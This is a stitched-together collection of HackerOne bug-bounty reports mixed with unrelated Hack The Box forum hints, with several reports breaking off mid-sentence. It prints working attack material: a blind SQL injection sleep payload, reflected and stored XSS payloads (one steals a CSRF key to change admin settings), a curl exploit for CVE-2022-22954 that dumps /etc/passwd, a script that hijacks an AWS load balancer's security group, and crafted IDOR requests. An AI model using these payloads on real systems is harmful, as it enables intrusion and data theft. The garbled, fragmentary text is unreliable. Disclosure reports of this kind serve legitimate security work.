[Information Disclosure] HackerOne Undisclosed Report Leak via PoC of Full Disclosure on Hacktivity

**Summary:**

Hi Team,

HackerOne is very sensitive when it comes to HackerOne report data such as `report title`,`severity`,`program` etc. H1 will not share those private data base on the HackerOne privacy policy.

Recently, HackerOne disclosed this report #1540969 [Race condition in joining CTF group](https://hackerone.com/reports/1540969) submitted by @zeyu2001 but the video PoC by the researcher was not redacted, the video contains undisclosed report reported by @zeyu2001 to other program like __██████__ and __███__ , this is both mistak by the researcher and HackerOne.

Researcher leak his own undisclosed report to PoC which is not related the #1540969 , and HackerOne did not redacted it before disclosure, resulting in disclosing sensitive information like `report title`.

### Steps To Reproduce

1. Go to this fully disclosed report: https://hackerone.com/reports/1540969
2. Check this comment when report participant named @osman1337 completed the retest: https://hackerone.com/reports/1540969#activity-16794287
3. Observed that there is video PoC named `poc-h1.mp4`
4. Watch the video PoC carefully and 3 undisclosed reports unrelated to the submission was leaked on the video poc.
5. See screenshot below for my proof

█████████

__The screenshot was taken from the video PoC, I can directly comment that the below undisclosed report was leaked__

Report ID: #1570556
Report Title: ████
Severity: Medium
Reported to: ████ (I believe this program is private because I can't see that in public directory)

Report ID: #1576582
Report Title: ██████████
Severity: Medium
Reported to: ███████

Report ID: #1576582
Report Title: ██████
Severity: High
Reported to: ████

## Impact

Sensitive report data leak such as report title, severity. program, report id.

This is a clear violation of HackerOne data privacy for customers.

## Mitigation:

Always review sensitive information before full disclosure to not disclosed other report data that was unrelated to the submission.

Let me know if you need more information.

Regards
@syjane


In my case i didn’t use the && because it is interpreted as the GET request parameter. I recommend you try to bypass with another character.


Hello, 1.) Regarding the penultimate question: Name is Harry Potter. Generate a Username List (Username Generator) and a Pass List with CUPP (see Akiraowen’s post above!), RegEx it and that should work. 2.) However for the very last question: There is a second (SSH-) user account, G.Potter. We are supposed to brute force on the victim machine using the provided RockYou-30 wordlist. This won’t work and I have no idea what else could be tried.


Who has experience with Bloodhound?

G’Day, Hackersploit Community! I’m a cybersecurity researcher conducting a study on the use of Bloodhound in penetration testing, red teaming, and offensive cyber operations. Your expertise could provide invaluable insights into these practices. Who I’m Looking For: Individuals with hands-on experience using Bloodhound. Those willing to share their insights. What’s In It For You: An opportunity to contribute to a study that aims to enhance deployment of cybersecurity deception tools. acknowledgment in research publications (username or real name as preferred) How to Participate: Please reach out via andrew.reeves@adelaide.edu.au if you’re interested or have any questions. Participation involves up to 1 hour of preparation time (familiarising yourself with a provided bloodhound map) and a short (30 minute) interview with the researcher. You can opt to complete a short survey instead of the interview if preferred. Your expertise is greatly appreciated and will help shape the deployment of new cyber deception tools. Thank you! Andrew


[Improper Input Validation] Hyper Link Injection while signup

## Summary:
Attacker can add their name to a URL in order to send email  containing malicious hyperlinks. while signup

## Steps To Reproduce:
1-Go to https://app.upchieve.org and create account  with the first name ```http://attacker.com/ ``` and last name .
2-Now check  your email  and you notice there is malicious hyperlinks.
█████████

## Supporting Material/References:

█████

## Recommendations for Fixing/Mitigation
 Validate users input

## Impact

This permits users to send malicious/phishing links to potential clients. It could also have an effect on how spam filters treat ```app.upchieve.org``` emails.


The task is to find a suitable list. Have a look at the page title. Can you find a vendor there? You have to bruteforce absolutely nothing


[Privilege Escalation] [h1-2102] [Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management

## Summary:
[Plus] User with Store Management Permission can Make convertUsersFromSaml/convertUsersToSaml - that should be limited to User Management Only

## Description:
User with `Store management` permission - {F1168487} only, is able to convert users account from SAML and to SAML using the graphql

## Impact
This could potentially disable the user's ability to login by unlinking their account with SAML identity provider, or by linking their account with SAML identity provider, because maybe there isn't a valid account for that victim

## Steps To Reproduce:
- As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have `store management permission` - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api
- Login as the low-priviledged user, and visit shopify.plus and click around until you made a valid graphql call to shopify.plus, it looks something like this `POST /34946971/stores/api HTTP/1.1`
- Make this call to figure our your domain user's ID

```http
POST /34946971/users/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
...

{"operationName":"GetAllUserIds","variables":{},"query":"query GetAllUserIds {\n  organization {\n    id\n    users {\n      edges {\n        node {\n          id\n   email       __typename\n        }\n        __typename\n      }\n      __typename\n    }\n    __typename\n  }\n}\n"}
```

- Make this call to show that you can perform `convertUsersFromSaml` or `convertUsersToSaml` as a low privileged user by replacing `REPLACE_ME` with one of the user id you got from above steps

```
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
...

{"query":"mutation{convertUsersFromSaml(organizationUserIds:[\"REPLACE_ME\"]){userErrors{message}}}"}
```

or

```
POST /34946971/stores/api HTTP/1.1
Host: shopify.plus
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
...

{"query":"mutation{convertUsersToSaml(userIds:[\"REPLACE_ME\"]){userErrors{message}}}"}
```

You may see this in the response for above two requests

`{"data":{"convertUsersToSaml":{"userErrors":[{"message":"Make sure the SAML authentication setting is set to specific users."}]}}}`

or

`{"data":{"convertUsersFromSaml":{"userErrors":[{"message":"User is already an Identity user: abdulwahaab.ahmed@shopify.com"}]}}}`

It is fine, it just means the lower-privileged user has the permission to perform such actions. It would require additional SAML configuration for the org plus admin for it to fully work

## Impact

But I think this is enough to show that, user with `Store Management` permission level is able to perform two restricted GRaphql call, `convertUsersFromSaml` and `convertUsersToSaml`


Can you show the syntax that you usted to get the flag? To know what and why you’re stuck. If you’re doing something wrong. For the last, do you upload the right payload in the “404.php” on theme editor? Feel free to DM me.


[Insecure Direct Object Reference (IDOR)] IDOR: leak buyer info & Publish/Hide foreign comments

HI @judgeme!
I noticed that the attacker can learn email users who left feedback at the time of buying.

Step to reproduce:

1. Login to our store and install your 'Checkout Comments' addon
2. Make fake order in or store and write a comment

███

3. Then go to our Shopify `/admin/apps/checkout-comments/extensions/checkout_comments/comments`
4. Publish our comment and Intercept request with burp. Send request to Repeater. Request example:

POST /extensions/checkout_comments/curate_comment HTTP/1.1
Host: judge.me
Cookie: _judgeme_session=████████████████; _ga=GA1.2.1935027813.1637882690; _gid=GA1.2.2043288340.1637882690; _fbp=fb.1.1637882690590.2069272048; _gat_UA-28424713-2=1
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://judge.me/extensions/checkout_comments/comments?platform=shopify&shop_domain=test-hackerone-glis.myshopify.com&page=3&offset=50
X-Csrf-Token: ████==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 23
Origin: https://judge.me
Te: trailers
Connection: close

comment_id=1&curated=ok

5. Edit `comment_id=random_id` and in Response we can see buyer information (for example):

`{"comment":{"id":1,"content":"classic dress watch for weddings","created_at":"over 3 years ago","product":{"title":"Dress Watch","url":"https://████.myshopify.com/products/dress-watch"},"buyer":{"name":"F F","email":"██████████@gmail.com"},"published_status":true,"published_status_text":"Published","curated":"ok"}}`

██████

Video POC:

██████

## Impact

Buyer information leaks and other


Here is the original syntax from HTB on the “find files and directories” page. find / -type f -name *.conf -user root -size +20k -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null So start breaking it down. Do you need a -user since you are already logged in? no. Scratch that. Now we have this. find / -type f -name *.conf -size +20k -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null Does the question ask for size of the files? No. Scratch that and now we have this. find / -type f -name *.conf -newermt 2020-03-03 -exec ls -al {} \; 2>/dev/null Does the question ask for a date for the file? No. Scratch that. And now we have this. find / -type f -name *.conf -exec ls -al {} \; 2>/dev/null Does the question ask for a .conf file? No it asks for a log file. Scratch and edit. And now we have this. find / -type f -name *.log -exec ls -al {} \; 2>/dev/null I did not get a number to count. But I do know how to add the results. Or, be goofy and copy and paste into excel to get your number. I did notice that a lot of comments had things like "" in their syntax and added a few flags outside of the original syntax. Although its awesome to be creative and in fact some of those syntax add-ons may work elsewhere, just remember that HTB is not trying to throw you for a loop. If its not in the Modules then it probably wont work. Stick to whats being taught. If it aint broke, dont fix it. **ring ring** Call Center: Call cneter to fix all your computer needs, may I help you? Caller: My computer isnt working. Help! Call Center: is it plugged in? Sometimes the simplest things work best. Use the KISS method. Keep It Simple Stupid Happy Hunting.


[Deserialization of Untrusted Data] [CVE-2023-27531] Possible Deserialization of Untrusted Data vulnerability in Kredis JSON

I made a report and patch at https://hackerone.com/reports/1702859 .

https://discuss.rubyonrails.org/t/cve-2023-27531-possible-deserialization-of-untrusted-data-vulnerability-in-kredis-json/82467

> There is a deserialization of untrusted data vulnerability in the Kredis JSON deserialization code. This vulnerability has been assigned the CVE identifier CVE-2023-27531.

## Impact

> Carefully crafted JSON data processed by Kredis may result in deserialization of untrusted data, potentially leading to deserialization of unexpected objects in the system.


i was in the same situation, try to read /etc/passwd/ properly, the name is there


[Insecure Direct Object Reference (IDOR)] Attacker is able to create,Edit & delete notes and leak the title of a victim's private personal snippet

### Summary

An attacker is able to create new notes for a victim's private personal snippet. This attack leaks the title of the snippet on the attacker's activity page. The attacker is also able to edit/delete the note using the "id" value that is returned from the server after creating the comment, as they are the owner for the note.

I believe this attack is achieved by utilizing https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/finders/notes_finder.rb when posting a comment within a project they control.

```ruby
  def noteables_for_type(noteable_type)
    case noteable_type
    when "issue"
      IssuesFinder.new(@current_user, project_id: @project.id).execute # rubocop: disable CodeReuse/Finder
    when "merge_request"
      MergeRequestsFinder.new(@current_user, project_id: @project.id).execute # rubocop: disable CodeReuse/Finder
    when "snippet", "project_snippet"
      SnippetsFinder.new(@current_user, project: @project).execute # rubocop: disable CodeReuse/Finder
    when "personal_snippet"
      PersonalSnippet.all
    else
      raise "invalid target_type '#{noteable_type}'"
    end
  end
```
By changing the POST parameter noteable_type from "issue" to "personal_snippet" the server doesn't perform the project check when attempting to create the note and as a result the comment is posted to the victim's personal snippet.

### Steps to reproduce

Reproduction steps require two accounts representing an attacker and a victim

#### Victim Setup:
1. Log in and navigate to https://gitlab-instance.example.com/dashboard/snippets then click the "New snippet" button.
1. Set the title of the Personal Snippet to "Private Victim Snippet", and supply a filename (ex. "test-victim-file.txt") with file contents "test file contents".
1. Ensure the visibility level is set to "Private" and click "Create Snippet".
1. Make a note of the ID for the snippet in the URL bar. We will refer to this value as VICTIM_SNIPPETID. The attacker will need it in their steps.

#### Attacker Setup and Create New Note on Personal Snippet:
1. Log in to GitLab and navigate to https://gitlab-instance.example.com/dashboard/projects and create a new private project for the attack (I named mine "PrivateAttackerProject").
1. Create a new issue (I created an issue with title "Attacker Issue").
1. Open up the issue that was just created (ie. https://gitlab-instance.example.com/attacker/privateattackerproject/-/issues/1).
1. Scroll down to "Activity" and create a new note. I used the text `@attacker was here`.
1. Prepare BurpSuite to intercept the request and then click "Comment". We want the request that looks like `/attacker/privateattackerproject/notes?target_id=6&target_type=issue` with post body looking like `{"note":{"noteable_type":"Issue","noteable_id":6,"internal":false,"note":"@attacker was here"}}`.
1. Send the intercepted POST request to Burp Repeater for easier testing.
1. Update target_type in the target resource from `target_type=issue` to `target_type=personal_snippet`.
1. Set the target_id in the target resource from `target_id=6` to `target_id=VICTIM_SNIPPETID` (Replacing VICTIM_SNIPPETID with the id that was generated for the victim).
1. The POST request should now look similar to `POST /attacker/privateattackerproject/notes?target_id=VICTIM_SNIPPETID&target_type=personal_snippet HTTP/2`
1. Send the request and review the response. A new note will be created under the private snippet.

#### Attacker editing a note they created previously
Note: When the attacker creates the note in the previous steps, an id value is returned in the response. This can also be obtained by the victim by copying the link to the note and making a note of the id (ex. https://gitlab-pentest2.example.com/-/snippets/3#note_7)
1. Have the attacker create a new note within the issue they created. We can then edit/delete this note and intercept the request in BurpSuite.
1. To edit the note on the personal snippet:
Tak


[Resource Injection] AWS Load Balancer Controller Managed Security Groups can be replaced by an unprivileged attacker

Report Submission Form

## Summary:
When creating an Ingress of class `alb`, by default, AWS Load Balancer Controller creates a managed SG and attaches it to the created ALB. This SG limits which ports of the ALB are accessible by whom.

An attacker is able to craft another SG that can be used to trick AWS Load Balancer Controller into changing the SG attached to an ALB. This is possible even though the attacker doesn't have permission to modify the ALB or the managed SG and also doesn't have access to the K8s cluster where the Ingress was created.

AWS Load Balancer Controller uses tree tags to associate a SG on AWS to the supposed managed SG created for an ALB: `elbv2.k8s.aws/cluster`, `ingress.k8s.aws/stack`, and `ingress.k8s.aws/resource`. When there are multiple SGs that match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the other ones. The API call returns SGs sorted by their respective ids.

If a SG is created with the tags expected by AWS Load Balancer Controller and its id is less than the one from the legit SG, the controller deletes the original SG and attaches the one created by the attacker to the ALB. An attacker is now able to manipulate SG rules for the ALB as they please.

## Kubernetes Version:
version.Info{Major:"1", Minor:"20+", GitVersion:"v1.20.4-eks-6b7464", GitCommit:"6b746440c04cb81db4426842b4ae65c3f7035e53", GitTreeState:"clean", BuildDate:"2021-03-19T19:33:03Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"}

## Component Version:
AWS Load Balancer Controller v2.2.0

## Steps To Reproduce:

1. A developer creates an application, deploys it to K8s, and exposes it using an Ingress with class `alb`.
```bash
kubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-namespace.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-service.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-deployment.yaml
kubectl apply -f https://raw.githubusercontent.com/kubernetes-sigs/aws-alb-ingress-controller/v1.1.9/docs/examples/echoservice/echoserver-ingress.yaml
```

2. An attacker crafts an evil-twin of the managed SG attached to the target ALB. The attacker either knows the cluster name, namespace, and name of the Ingress related to the target ALB, or it needs to be able to describe the load balancer and its security group to acquire this information. If the id of the managed SG is unknown, the attacker may assume that its value is as low as `sg-00800000000000000` and create a SG that has an id even lower, covering more than 96% of the possible security groups with a couple of minutes of brute-forcing.
```bash
VPC_ID=vpc-00123456789abcdef
CLUSTER_NAME=kind
NAMESPACED_NAME=echoserver/echoserver

MANAGED_SG_ID=sg-00123456789abcdef
MANAGED_SG_10=$(echo ${MANAGED_SG_ID} | awk '{ print "ibase=16;" toupper(substr($0,4)) }' | bc)

while true
do
	UNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)
	UNMANAGED_SG_10=$(echo ${UNMANAGED_SG_ID} | awk '{ print "ibase=16;" toupper(substr($0,4)) }' | bc)

	if [ ${UNMANAGED_SG_10} -lt ${MANAGED_SG_10} ]
	then
		break
	fi

	aws ec2 delete-security-group --group-id ${UNMANAGED_SG_ID}
done

aws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags "Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}" "Key=ingress.k8s.aws/stack,Value=${NAMESPACED_NAME}" "Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup"
```

3. With the environment set, the attacker now should wait or somehow cause AWS Load Balancer Controller to reconcile the target load balancer. The reconciliation is normally triggered when the Ingress resource is modified or when the


[Cross-site Scripting (XSS) - Reflected] Reflected  XSS on  https://wwwapps.ups.com/ctc/request?loc=

Summary:
=========
Detalis XSS
-----------
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

## Steps To Reproduce:

  1. Go to Those Links.
https://wwwapps.ups.com/ctc/request?loc=a:%27%22/%3Ea%22%3E%3Caa%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3Een_AW&WT.svl=

##FIX
Filter input on arrival
Encode data on output
Use appropriate response headers
Content Security Policy.
These all are standards concepts for fix the XSS vulnerabilities.

## Impact

screenshot:
F1686701
POC:
F1686705


[Cross-site Scripting (XSS) - Reflected] RXSS on █████████

**Description:**
the `WhatSubmitted` parameter not filtered, i can insert `"` character and execute code JS

## Impact

Perform any action within the application that the user can perform.
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

## System Host(s)
████████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
1. Open URL: [https://██████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08](https://████████/SA1/SAReplay/default.asp?WhatSubmitted=Empty%22;-alert(%27tmz900%27)//&AgentID=0123&SARA=0&StartAt=07/06/22&StopAt=03/23/08)
2. You will see an alert box pup up:

██████████

## Suggested Mitigation/Remediation Actions
Filter input on arrival
Encode data on output
Use appropriate response headers
Content Security Policy.


[Information Disclosure] Password reset tokens sent to CSP reporting endpoints

Description:
It has been identified that the application is leaking referrer token to third party sites. In this case it was found that the password reset token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the token and reset the passwords of the victim.

Steps To Reproduce:-
1) Request a password reset link for a valid account
2) Click on the reset link
3) Before resetting the password, go burp suite and search the Reset token
4) Now, you see in the third party site leakage reset token.

Similler resource Bug :
https://hackerone.com/reports/272379
https://hackerone.com/reports/1177287

## Impact

Password reset token leak on third party website.

Thanks


When I am trying to dnsemum a server I keep getting query timed out. The script I am running is $ dnsenum --dnsserver 127.0.0.1 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt ns.inlanefreight.htb I’m clearly doing something wrong but I cannot seem to figure it out can anyone please support? Simple step by step would be great as Iam Neurodiverse and reading between the lines isn’t a strength of mine haha


[Unknown] Python: CWE-338 insecureRandomness

This bug was reported directly to GitHub Security Lab.


[Improper Access Control - Generic] Rider can forcefully get passenger's order accepted resulting in multiple impacts including PII reveal  and more mentioned in the report.

## Summary:
Hello Indrive Security Team,
This is going to be chain of attacks with major flow being in /api/setTenderStatus request allowing the attacker to get their ride request accepted automatically.

## Steps To Reproduce:

1st major vulnerability:
// Forcefully getting the passenger to accept the ride

### Section 1

1. Whenever a rider/driver offers the passenger their price there is a request that is sent to /api/driverrequest

█████

2. Now after getting the tenderID and OrderID from that request, the rider sends the request in /api/setTenderStatus in this format

█████████

Here the orderID and tenderID is from step 1.

3. The ride gets accepted.

The impact for this is "The rider can get details of any passenger, this includes phone number of passengers. Even when the passenger doesn't accept the riders offer."
Please keep in mind that this can be automated in real time to make this attack more efficien.

2nd Chain vulnerability:
// Chose a out of range price

### Section 2

1. This request is sent when the rider bids his price:

██████████

2. The rider can modify the price range to be of a much higher value than that.
3. Resulting in sending a bid that is significantly more

// Combining this with above vulnerability we can get passenger to forcefully accept the ride of the customer.

==Provide the request in curl format, if possible==

For vuln A:

```
curl https://terra-akamai.indriverapp.com/api/setTenderStatus?cid=5957&locale=en_US&phone=████&token=████████&v=7&stream_id=1682280490209367&tender_id=████████&order_id=█████████&status=accept
```

For vuln B:

```
curl https://terra-akamai.indriverapp.com/api/driverrequest?cid=5957&locale=en_US&job_id=338f72ff-f3c1-4da0-af15-5d1aa720146b&phone=██████████&token=████████&v=7&stream_id=1682279074257167&order_id=██████&client_id=█████████&shield_session_id=██████████&type=indriver&price=63&period=3&geo_arrival_time=1&distance=5&longitude=85.3249627&latitude=27.7390611&sn=1
```

Thank you so much.
Let me know if you need any further help in reproducing this issue.
@spongebhav

## Impact

1. Revealing PII of customers even if customer didn't accept the rider's request.
2. Making customer accept a bid that is significantly higher tricking the customer into giving more money.


[SQL Injection] Blind SQL Injection

###Bug is : Blind Sql injection

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

-----------------------------------------------

###Vulnerability in :
 https://███/ via ``` User-Agent: ```
I've confirmed the vulnerability using sleep SQL queries with various arithmetic operations. The sleep command combined with the arithmetic operations will cause the server to sleep for various amounts of time depending on the result of the arithmetic operation.

--------------------------

###Proof of concept :
1- open https://███/  and intercept data
2- put this payload in user agent parameter ``` if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/  ```  like poc 1
and as you see in poc 1 make sleep order for 10 sec
3- and if we change order to make sleep for 5 sec  ``` if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/ ``` like poc 2

-----------------------------

###Fix :
Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability

## Impact

An attacker can manipulate the SQL statements that are sent to the MySQL database and inject malicious SQL statements. The attacker is able to change the logic of SQL statements executed against the database.


[Cross-site Scripting (XSS) - Reflected] Reflected XSS in chatbot

Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim's browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts
Proof of Concept
1)Go to the website https://mtn.com.gh/
2)click on the MTN chat and where it asks to enter a number enter an xss payload
3)In my case I put the following payload:<button onClick="alert('xss')">Submit</button>

## Impact

If an attacker can control a script running in the victim's browser, they can usually completely compromise that user. Among other things, the attacker can: Perform any action in the application that the user can perform.


[Cross-site Scripting (XSS) - Stored] XSS with Visual Language Editor tags

1. Create a post/comment/signature/etc. with the following text: `#VLE#nothing#[<script>ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {'bypassRedirect':true, 'method': 'POST', 'data': {'csrfKey': key, 'site_online_checkbox':1, 'board_name': 'You have been hacked', 'form_submitted': 1}}))</script>]#!##`.
2. Using e.g. the browser's Inspect Element feature, you can surround the text in editor with `<span style='font-size: 0px;'>` and `</span>` to make it invisible for humans.
3. Once the content is posted, visit the page with the content created in step 1. with **Quick Translating** enabled (ACP -> Customization -> Localization -> Languages -> Translations -> Quick Translating, otherwise known as Visual Language Editor or VLE) using an account with administrator privileges.

**Note**: This is not very uncommon, as one could simply suggest an administrator to change wording of a language phrase, or correct a translation in an area where user-generated content (such as comments) is displayed.

4. After visiting the webpage, website name will change to `You have been hacked` (the change can be seen in the browser tab title or in the website's header).

The origin of the vulnerability is **line 254** in `applications/core/dev/js/global/controllers/customization/ips.customization.visualLang.js`. jQuery's `replaceWith` function, which accepts raw HTML, is fed with `.text()` output, which returns unescaped (non-HTML-encoded) text.

(Code from step 1 formatted for readability):
```js
ips.getAjax()(ips.getSetting('baseURL') + 'admin/index.php?app=core&module=system&controller=login&do=getCsrfKey').done(({key}) => ips.getAjax()(
    ips.getSetting('baseURL') + 'admin/index.php?app=core&module=settings&controller=general', {
        'bypassRedirect':true,
        'method': 'POST',
        'data': {
            'csrfKey': key,
            'site_online_checkbox':1,
            'board_name': 'You have been hacked',
            'form_submitted': 1
        }
    }
))

## Impact

**The attacker could gain full control of the website and its data, including the ability to execute raw PHP code**. This example shows only a relatively harmless and very simple usage of the vulnerability, but **it can be used to perform any other action on the administrator's behalf**. For instance, attacker could prepare a script to modify a theme template to execute any given PHP code.

Surrounding the VLE code with legitimate text and `<span class="font-size: 0px;">...</span>`makes it invisible for humans, and it could be hidden from built-in search as well by placing it in a signature, for example. The post/signature can then be removed. Without knowing exactly what to look for, the attack origin might never be found.


[Code Injection] ███ vulnerable to CVE-2022-22954

I found that one of the targets belongs to DOD vulnerable to CVE-2022-22954 where an attacker may be able to execute any malicious code like escalating Remote code execution is also possible

**Technical Summary:**

CVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager. This vulnerability was assigned a CVSSv3 score of 9.8. An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw.

**Vulnerable URL:**

███=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

## Impact

The impact of server-side template injection vulnerabilities is generally critical, resulting in remote code execution by taking full control of the back-end server. Even without the code execution, the attacker may be able to read sensitive data on the server

## System Host(s)
██████, ████

## Affected Product(s) and Version(s)
VMware workspace one

## CVE Numbers
CVE-2022-22954

## Steps to Reproduce
* Run the following curl command

**Command Used:**

curl -sk -X GET -H "Host: ██████" "█████████=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d"

**Response:**

```
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
    <head>
        <title>Error Page</title>
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <link rel="stylesheet" type="text/css" href="/catalog-portal/css/errorpage.css">
    </head>

    <body>
        <div class="error-container">
            <div class="error-img-container">
                <img src="/catalog-portal/app/graphics/warning.svg" class="warning-icon">
            </div>
            <div class="error-text-heading">Request Failed</div>
            <div class="error-text-container">
                <p>Please contact your IT Administrator.</p>
                <a href="/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D">Sign Out</a>
            </div>
        </div>
    </body>
    <script>
        if(console && console.log) {
            console.log("auth.context.invalid");
            console.log("Authorization context is not valid. Login request  received with tenant code: uhhz-lbr-004v, device id: █████;
        }
    </script>
</html>
```

* As you can see the above response, which contains the response of /etc/passwd in the response

## Suggested Mitigation/Remediation Actions
Upgrade the instances to the latest version


[Violation of Secure Design Principles] Found Origin IP's Lead To Access ████

Discovered that the ██████ site exposed its Non-Cloudflare IP which could allow bypassing of anti-DDoS mechanisms.
Your origin servers are not blocking access from non-Cloudflare servers.This way crawlers can find your origin servers' IPs by checking random IPs until they found your origin server(s).
What makes this especially easy are tools like shodan.io(which can find your origin servers).

## Impact

This attack vector can be extremely bad because with the IP found out an attacker could attack the servers by DDoS or other attacks without being stopped by CloudFlare.

## System Host(s)
████

## Affected Product(s) and Version(s)

## CVE Numbers

## Steps to Reproduce
Visit these link:
https://www.shodan.io/search?query=hostname%3A████+200

IP:
-███

## Suggested Mitigation/Remediation Actions


[Unknown] [python]: Zip Slip Vulnerability

This bug was reported directly to GitHub Security Lab.


[External Control of Critical State Data] match

## Steps To Reproduce:
lib/telnet.c suboption function incorrecly checks for the sscanf return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:
if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
As such it is possible to construct environment values that don't update the varval buffer and instead use the previous value. In combination of advancing in the temp buffer by strlen(v->data) + 1, this means that there will be uninitialized gaps in the generated output temp buffer. These gaps will contain whatever stack contents from previous operation of the application.
Fortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:
attacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS ("NEW_ENV=xxx,yyy") and control xxx and yyy in the curl_slist entries)
attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to
When both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte temp buffer.
Steps To Reproduce:
Run telnet service
tcpdump -i lo -X -s 65535 port 23
Execute

## Impact

lib/telnet.c suboption function incorrecly checks for the sscanf return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:
if(sscanf(v->data, "%127[^,],%127s", varname, varval)) {
As such it is possible to construct environment values that don't update the varval buffer and instead use the previous value. In combination of advancing in the temp buffer by strlen(v->data) + 1, this means that there will be uninitialized gaps in the generated output temp buffer. These gaps will contain whatever stack contents from previous operation of the application.
Fortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:
attacker is able to control the environment passed to libcurl via CURLOPT_TELNETOPTIONS ("NEW_ENV=xxx,yyy") and control xxx and yyy in the curl_slist entries)
attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to
